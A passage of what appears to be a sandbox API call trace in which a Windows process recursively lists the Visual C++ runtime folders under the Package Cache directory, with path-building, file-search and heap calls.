	[0092.490] wcscpy (in: _Dest=0x481ba08, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0092.490] wcscat (in: _Dest=0x481ba08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\"
	[0092.490] wcscat (in: _Dest=0x481ba08, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*"
	[0092.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711198
	[0092.490] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.491] wcscmp (_String1=".", _String2=".") returned 0
	[0092.491] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.491] wcscmp (_String1="..", _String2=".") returned 1
	[0092.491] wcscmp (_String1="..", _String2="..") returned 0
	[0092.491] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0092.491] wcscmp (_String1="packages", _String2=".") returned 1
	[0092.491] wcscmp (_String1="packages", _String2="..") returned 1
	[0092.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2d320
	[0092.491] wcscpy (in: _Dest=0x4f2d320, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0092.491] wcscat (in: _Dest=0x4f2d320, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\"
	[0092.491] wcscat (in: _Dest=0x4f2d320, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages"
	[0092.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926260
	[0092.491] wcscpy (in: _Dest=0x4926260, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages"
	[0092.491] wcscat (in: _Dest=0x4926260, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\"
	[0092.491] wcscat (in: _Dest=0x4926260, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*"
	[0092.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712c10
	[0092.491] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.491] wcscmp (_String1=".", _String2=".") returned 0
	[0092.491] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.491] wcscmp (_String1="..", _String2=".") returned 1
	[0092.491] wcscmp (_String1="..", _String2="..") returned 0
	[0092.491] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.491] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1
	[0092.491] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1
	[0092.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491e8e8
	[0092.491] wcscpy (in: _Dest=0x491e8e8, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages"
	[0092.491] wcscat (in: _Dest=0x491e8e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\"
	[0092.492] wcscat (in: _Dest=0x491e8e8, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86"
	[0092.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491caa0
	[0092.492] wcscpy (in: _Dest=0x491caa0, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86"
	[0092.492] wcscat (in: _Dest=0x491caa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\"
	[0092.492] wcscat (in: _Dest=0x491caa0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*"
	[0092.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47130e0
	[0092.492] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.492] wcscmp (_String1=".", _String2=".") returned 0
	[0092.492] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.492] wcscmp (_String1="..", _String2=".") returned 1
	[0092.492] wcscmp (_String1="..", _String2="..") returned 0
	[0092.492] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1a600, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x98d1a600, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x98d1a600, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.492] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.492] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.492] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.492] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1
	[0092.492] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1
	[0092.492] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.492] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.492] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47130e0) returned 1
	[0092.492] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491caa0) returned 1
	[0092.492] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e8e8) returned 1
	[0092.493] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.493] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.493] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712c10) returned 1
	[0092.493] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926260) returned 1
	[0092.493] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d320) returned 1
	[0092.493] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.493] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.493] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711198) returned 1
	[0092.493] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0092.493] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61160) returned 1
	[0092.493] FindNextFileW (in: hFindFile=0x2d87338, lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1
	[0092.493] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2=".") returned 1
	[0092.493] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2="..") returned 1
	[0092.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d619a0
	[0092.493] wcscpy (in: _Dest=0x2d619a0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0092.493] wcscat (in: _Dest=0x2d619a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\"
	[0092.493] wcscat (in: _Dest=0x2d619a0, _Source="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0092.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481bce8
	[0092.493] wcscpy (in: _Dest=0x481bce8, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0092.493] wcscat (in: _Dest=0x481bce8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\"
	[0092.493] wcscat (in: _Dest=0x481bce8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*"
	[0092.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47100c0
	[0092.494] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.494] wcscmp (_String1=".", _String2=".") returned 0
	[0092.494] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.494] wcscmp (_String1="..", _String2=".") returned 1
	[0092.494] wcscmp (_String1="..", _String2="..") returned 0
	[0092.494] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0092.494] wcscmp (_String1="packages", _String2=".") returned 1
	[0092.494] wcscmp (_String1="packages", _String2="..") returned 1
	[0092.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2cea0
	[0092.494] wcscpy (in: _Dest=0x4f2cea0, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0092.494] wcscat (in: _Dest=0x4f2cea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\"
	[0092.494] wcscat (in: _Dest=0x4f2cea0, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages"
	[0092.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x49263f0
	[0092.494] wcscpy (in: _Dest=0x49263f0, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages"
	[0092.494] wcscat (in: _Dest=0x49263f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\"
	[0092.494] wcscat (in: _Dest=0x49263f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*"
	[0092.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470f988
	[0092.494] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.494] wcscmp (_String1=".", _String2=".") returned 0
	[0092.494] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.494] wcscmp (_String1="..", _String2=".") returned 1
	[0092.494] wcscmp (_String1="..", _String2="..") returned 0
	[0092.494] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.495] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1
	[0092.495] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1
	[0092.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491e9d8
	[0092.495] wcscpy (in: _Dest=0x491e9d8, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages"
	[0092.495] wcscat (in: _Dest=0x491e9d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\"
	[0092.495] wcscat (in: _Dest=0x491e9d8, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86"
	[0092.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491e528
